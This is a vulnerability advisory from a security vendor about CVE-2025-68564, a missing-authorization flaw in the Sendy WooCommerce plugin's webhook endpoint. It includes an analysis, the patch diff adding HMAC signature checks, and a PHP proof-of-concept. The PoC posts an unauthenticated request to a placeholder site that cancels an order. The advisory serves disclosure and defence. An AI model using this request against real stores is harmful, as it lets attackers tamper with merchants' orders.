Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-68564: Sendy <= 3.4.1 – Missing Authorization (sendy)

Plugin sendy
Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 3.4.1
Patched Version 3.4.2
Disclosed January 27, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-68564:
The Sendy WordPress plugin version 3.4.1 and earlier contains a missing authorization vulnerability in its webhook callback function. This flaw allows unauthenticated attackers to trigger unauthorized actions by sending crafted requests to the plugin’s webhook endpoint.

Atomic Edge research identified the root cause in the `webhook_callback` method within the `Webhooks` class (file: sendy/lib/Modules/Webhooks.php). The vulnerable function at line 53 lacked any capability check or authentication mechanism before processing incoming webhook requests. The method directly accepted `WP_REST_Request` objects without verifying the requester’s permissions or validating request signatures. This omission created an unauthenticated entry point that bypassed WordPress’s standard authorization controls.

The exploitation method involves sending HTTP POST requests directly to the Sendy plugin’s registered REST API webhook endpoint. Attackers can craft requests to the `/wp-json/sendy/v1/webhook` endpoint with malicious JSON payloads containing the ‘data’ parameter. The vulnerability requires no authentication tokens, API keys, or nonce values, making it accessible to completely unauthenticated users. The attack vector uses standard WordPress REST API infrastructure to reach the vulnerable callback function.

The patch introduces multiple security layers. Version 3.4.2 adds a new `verifySignature` method (lines 133-168) that validates HMAC signatures using the `X-Signature` and `X-Timestamp` headers. The patch also implements a `regenerateWebhookSecret` method (lines 116-125) that generates unique webhook secrets during authentication. Before the patch, the `webhook_callback` method processed all incoming requests without verification. After the patch, requests must include valid cryptographic signatures derived from a server-side secret that attackers cannot obtain.

Successful exploitation allows unauthenticated attackers to trigger arbitrary webhook processing within the Sendy plugin. This could lead to unauthorized order status modifications, shipment tracking updates, or other business logic manipulation depending on the plugin’s webhook implementation. While the exact impact depends on the webhook handler’s functionality, the vulnerability fundamentally breaks the authentication boundary for all webhook operations.

Differential between vulnerable and patched code

Code Diff
--- a/sendy/lib/Modules/OAuth.php
+++ b/sendy/lib/Modules/OAuth.php
@@ -2,7 +2,7 @@

 namespace SendyWooCommerceModules;

-use GuzzleHttpExceptionGuzzleException;
+use SendyApiExceptionsSendyException;
 use SendyWooCommerceApiClientFactory;

 class OAuth
@@ -52,6 +52,8 @@

             update_option('sendy_refresh_token', null, false);
             update_option('sendy_token_expires', null, false);
+
+            delete_option('sendy_webhook_secret');
         }
     }

@@ -76,10 +78,12 @@
             try {
                 ApiClientFactory::buildConnectionUsingCode(sanitize_key($_GET['code']))->checkOrAcquireAccessToken();

+                Webhooks::regenerateWebhookSecret();
+
                 sendy_flash_admin_notice('success', __('Authentication successful', 'sendy'));

                 wp_safe_redirect(admin_url('admin.php?page=sendy'));
-            } catch (GuzzleException $e) {
+            } catch (SendyException $e) {
                 sendy_flash_admin_notice('warning', __('Authentication failed. Please try again', 'sendy'));

                 wp_safe_redirect(admin_url('admin.php?page=sendy'));
--- a/sendy/lib/Modules/Orders/BulkActions.php
+++ b/sendy/lib/Modules/Orders/BulkActions.php
@@ -2,6 +2,7 @@

 namespace SendyWooCommerceModulesOrders;

+use SendyApiExceptionsSendyException;
 use SendyWooCommerceEnumsProcessingMethod;
 use SendyWooCommercePlugin;
 use SendyWooCommerceRepositoriesPreferences;
@@ -147,8 +148,14 @@
     public function modal_create_shipments(): void
     {
         if ($this->on_orders_list_page()) {
-            $preferences = (new Preferences())->get();
-            $shops = (new Shops())->list();
+            try {
+                $preferences = (new Preferences())->get();
+                $shops = (new Shops())->list();
+            } catch (SendyException $exception) {
+                echo View::fromTemplate('admin/notices/connection-error.php')->render(['code' => $exception->getCode()]);
+
+                return;
+            }

             echo wp_kses(
                 View::fromTemplate('admin/modals/create-shipment.php')->render([
--- a/sendy/lib/Modules/Orders/OrdersModule.php
+++ b/sendy/lib/Modules/Orders/OrdersModule.php
@@ -136,8 +136,6 @@

     /**
      * Fetch the labels from the Sendy API and offer them as download to the user
-     *
-     * @throws GuzzleHttpExceptionGuzzleException
      */
     protected function offer_labels_as_download(array $shipment_ids): void
     {
--- a/sendy/lib/Modules/Orders/Single.php
+++ b/sendy/lib/Modules/Orders/Single.php
@@ -3,6 +3,7 @@
 namespace SendyWooCommerceModulesOrders;

 use AutomatticWooCommerceInternalDataStoresOrdersCustomOrdersTableController;
+use SendyApiExceptionsSendyException;
 use SendyWooCommerceEnumsProcessingMethod;
 use SendyWooCommercePlugin;
 use SendyWooCommerceRepositoriesPreferences;
@@ -65,8 +66,14 @@
             return;
         }

-        $preferences = (new Preferences())->get();
-        $shops = (new Shops())->list();
+        try {
+            $preferences = (new Preferences())->get();
+            $shops = (new Shops())->list();
+        } catch (SendyException $exception) {
+            echo View::fromTemplate('admin/notices/connection-error.php')->render(['code' => $exception->getCode()]);
+
+            return;
+        }

         echo wp_kses(
             View::fromTemplate('admin/meta_box/single.php')->render([
--- a/sendy/lib/Modules/Webhooks.php
+++ b/sendy/lib/Modules/Webhooks.php
@@ -3,6 +3,7 @@
 namespace SendyWooCommerceModules;

 use SendyApiApiException;
+use SendyApiExceptionsSendyException;
 use SendyWooCommerceApiClientFactory;
 use SendyWooCommerceEnumsProcessingMethod;
 use WC_Order;
@@ -53,6 +54,12 @@

     public function webhook_callback(WP_REST_Request $request)
     {
+        $verificationError = $this->verifySignature($request);
+
+        if ($verificationError) {
+            return $verificationError;
+        }
+
         $payload = $request->get_json_params() ?? [];

         if (! array_key_exists('data', $payload)) {
@@ -107,6 +114,18 @@
         }
     }

+    /**
+     * @throws SendyException
+     */
+    public static function regenerateWebhookSecret(): void
+    {
+        $clientId = get_option('sendy_client_id');
+        $response = ApiClientFactory::buildConnectionUsingTokens()
+            ->post("/regenerate-webhook-secret/{$clientId}");
+
+        update_option('sendy_webhook_secret', $response['webhook_secret'], false);
+    }
+
     public function deactivate(): void
     {
         $this->deleteWebhook();
@@ -114,6 +133,36 @@
         delete_option('sendy_webhook_last_checked');
     }

+    private function verifySignature(WP_REST_Request $request): ?WP_REST_Response
+    {
+        $signature = $request->get_header('X-Signature');
+        $timestamp = $request->get_header('X-Timestamp');
+
+        if (! $signature || ! $timestamp) {
+            return new WP_REST_Response(['error' => 'Missing signature headers'], 401);
+        }
+
+        $secret = get_option('sendy_webhook_secret');
+
+        if (! $secret) {
+            try {
+                self::regenerateWebhookSecret();
+            } catch (Exception $e) {
+                return new WP_REST_Response(['error' => 'Failed to regenerate webhook secret'], 500);
+            }
+
+            return new WP_REST_Response(['error' => 'Webhook secret not configured'], 401);
+        }
+
+        $expected = hash_hmac('sha256', $timestamp . $request->get_body(), $secret);
+
+        if (! hash_equals($expected, $signature)) {
+            return new WP_REST_Response(['error' => 'Invalid signature'], 401);
+        }
+
+        return null;
+    }
+
     /**
      * Delete the webhook in the API
      */
--- a/sendy/lib/Plugin.php
+++ b/sendy/lib/Plugin.php
@@ -18,7 +18,7 @@

 class Plugin
 {
-    public const VERSION = '3.4.1';
+    public const VERSION = '3.4.2';

     public const SETTINGS_ID = 'sendy';

--- a/sendy/resources/views/admin/notices/connection-error.php
+++ b/sendy/resources/views/admin/notices/connection-error.php
@@ -0,0 +1,24 @@
+<?php
+
+if (! defined('ABSPATH')) {
+    exit;
+}
+
+/**
+ * @var int $code
+ */
+
+?>
+<div class="notice notice-error">
+    <p>
+        <?php if ($code === 400 || $code === 401) : ?>
+            <?php esc_html_e('Could not connect to Sendy. Please try signing in again.', 'sendy'); ?>
+            <a href="<?php echo esc_url(admin_url('admin.php?page=sendy')); ?>"><?php esc_html_e('Go to settings', 'sendy'); ?></a>
+        <?php elseif ($code) : ?>
+            <?php /* translators: %d is the HTTP error code returned by the Sendy API */ ?>
+            <?php echo esc_html(sprintf(__('Could not connect to Sendy (error %d). Please try again later.', 'sendy'), $code)); ?>
+        <?php else : ?>
+            <?php esc_html_e('Could not connect to Sendy. Please try again later.', 'sendy'); ?>
+        <?php endif; ?>
+    </p>
+</div>
--- a/sendy/sendy.php
+++ b/sendy/sendy.php
@@ -4,7 +4,7 @@
  * Plugin Name: Sendy
  * Plugin URI: https://app.sendy.nl/
  * Description: A WooCommerce plugin that connects your site to the Sendy platform
- * Version: 3.4.1
+ * Version: 3.4.2
  * Author: Sendy
  * Author URI: https://sendy.nl/
  * License: MIT

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-68564 - Sendy <= 3.4.1 - Missing Authorization

<?php
/**
 * Proof of Concept for CVE-2025-68564
 * Unauthenticated Webhook Endpoint Access in Sendy WordPress Plugin <= 3.4.1
 *
 * This script demonstrates the missing authorization vulnerability by sending
 * a crafted request to the vulnerable webhook endpoint without authentication.
 */

$target_url = 'https://vulnerable-site.com/wp-json/sendy/v1/webhook';

// Craft a malicious webhook payload
$payload = [
    'data' => [
        'type' => 'order_status_update',
        'attributes' => [
            'order_id' => '12345',
            'new_status' => 'cancelled',
            'timestamp' => time()
        ]
    ]
];

// Initialize cURL session
$ch = curl_init($target_url);

// Set cURL options for POST request
curl_setopt_array($ch, [
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => json_encode($payload),
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_HTTPHEADER => [
        'Content-Type: application/json',
        'User-Agent: Atomic-Edge-PoC/1.0'
    ],
    CURLOPT_SSL_VERIFYPEER => false, // For testing only
    CURLOPT_SSL_VERIFYHOST => false  // For testing only
]);

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Display results
if ($response === false) {
    echo "cURL Error: " . curl_error($ch) . "n";
} else {
    echo "HTTP Status: $http_coden";
    echo "Response: $responsen";
    
    // Check for successful exploitation indicators
    if ($http_code == 200) {
        echo "n[SUCCESS] Vulnerable endpoint accepted unauthenticated requestn";
        echo "The Sendy plugin processed the webhook without authorization.n";
    } elseif ($http_code == 401) {
        echo "n[PATCHED] Endpoint requires authentication (patched version)n";
    }
}

// Clean up
curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School